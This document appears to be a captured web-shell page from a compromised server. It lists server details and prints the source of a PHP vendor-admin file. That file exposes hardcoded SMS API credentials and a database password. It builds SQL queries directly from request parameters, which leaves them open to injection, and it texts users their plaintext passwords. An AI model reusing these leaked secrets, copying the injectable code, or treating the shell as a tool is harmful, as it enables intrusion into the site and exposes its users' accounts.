Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.141.2.157
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/vendorfetch.php
<?php
$username = "ventexint@gmail.com";
    $apikey = "eebcced9-0ca1-4a6f-940b-c616276e2ec9";
    $sendername = "EASnUP";
$connect = new PDO("mysql:host=localhost;dbname=easenuph_hand2secure", "easenuph", "@#admin@#");
?>

<?php 
session_start();
include("../dbconnection.php");
include 'header.php';
include 'menusuper.php';
$username = "ventexint@gmail.com";
    $apikey = "eebcced9-0ca1-4a6f-940b-c616276e2ec9";
    $sendername = "EASnUP";
if(isset($_POST['signup']))
{
    
 $sql ="UPDATE site_users SET status='$_POST[status]', entered_by='$_GET[vender_id]' WHERE userno='$_GET[vender_id]'";
 if($qsql = mysqli_query($con,$sql))
		{
    echo "<script>alert('update successfully');</script>";
  } else {
    echo "Sorry, there was an error uploading your file.";
  } 
     
}
?>

<!DOCTYPE html>
<html lang="en">
  <head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>Admin | Dashboard</title>
 	  </head>
  <body>
   <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
        <?php
    
        $sql ="SELECT * FROM vendersregi WHERE vender_id='$_GET[vender_id]'";
		$qsql = mysqli_query($con,$sql);
	while($rs = mysqli_fetch_array($qsql))
		{
        echo "
	          <form>
	              
   <div  class='account-details'>
        <div> <label for='item'>Organization’s Name<span>*</span></label>
    <input type='text' value='$rs[Hospitalname]'></div>
	   	        <div>
          <label for='address'>Category<span>*</span></label>
          <input type='text' value='$rs[Category]'>
        </div>
             <div>
          <label for='address'>	SPOC NAME<span>*</span></label>
          <input type='text' value='$rs[SPOCNAME]'>
        </div>
	          <div>
          <label>SPOC DESIGNATION<span>*</span></label>
              <input type='text' value='$rs[SPOCDESIGNATION]'>
            </div>
            <div>
            <label for='address'>Email ID<span>*</span></label>
              <input type='email'  value='$rs[EmailID]'>
            </div>
                        <div>
              <label>Mobile number<span>*</span></label>
                <input type='text' value='$rs[Mobilenumber]'>
              </div>
              <div>
              <label>Select state<span>*</span></label>
              <select>
              <option value='' disabled selected>$rs[State]</option>
        </select>
            </div>
            <div>
              <label>Select district<span>*</span></label>
              <select>
              <option value='' disabled selected>$rs[district]</option>
   </select>
            </div>
          <div>
          <label>Pin code<span>*</span></label>
              <input type='text' value='$rs[Pincode]'>
              </div>
            </div>
             <label>Certificate <span>*</span></label>
                                 <img src='uploads/$rs[myfile]' width='460' height='345'>
                            <a href='http://easenup.healthcare/Venders/uploads/$rs[myfile]'>uploads/$rs[myfile]</a>
        <br><br>
        </form>
        
           
      ";
		}
      ?>
      
     <?php
session_start();

if(isset($_POST["signup"]))

{ 
$sql ="SELECT * FROM site_users WHERE userno='$_GET[vender_id]'";
		$qsql = mysqli_query($con,$sql);
		if($rd = mysqli_fetch_array($qsql))
	{
         
	    	$name=$rd['name'];
	    		$uname=$rd['uname'];
	    	$numbers=$rd['numbers'];
	    	$password=$rd['password'];
		$message="Hello, $name, Your User Id is $uname and Password is $password.";
	$message=urlencode($message);
	$sms ="http://login.aquasms.com/sendSMS?username=ventexint@gmail.com&message=$message&sendername=EASnUP&smstype=TRANS&numbers=$numbers&apikey=eebcced9-0ca1-4a6f-940b-c616276e2ec9";
	//$sms=urlencode($sms);
	$result=file_get_contents($sms);
 if(mysqli_query($con, $sql)){
 echo 'OTP sent Successfully';
 }
	}
}
?>
            <form method='post' name='signup'>
                <select name='status'>
                    <option value='Deactivate'>Deactivate</option>
                     <option value='Active'>Active</option>
                </select>
                 <?php
    
        $sql1 ="SELECT * FROM vendersregi WHERE id='$_GET[id]'";
		$qsql1 = mysqli_query($con1,$sql1);
	while($rs1 = mysqli_fetch_array($qsql1))
		{
		    echo"<input type='hidden'  value='$rs1[vender_id]' name='entered_by'>";
		}
		?>
                
      <input type='submit' name='signup' id='signup' value='Submit'>
   
  </div>
  </div>
</div>
</div>
 <div class="clear"></div>
  </div>
</div>

</section>
</form> 

Anon7 - 2022
AnonSec Team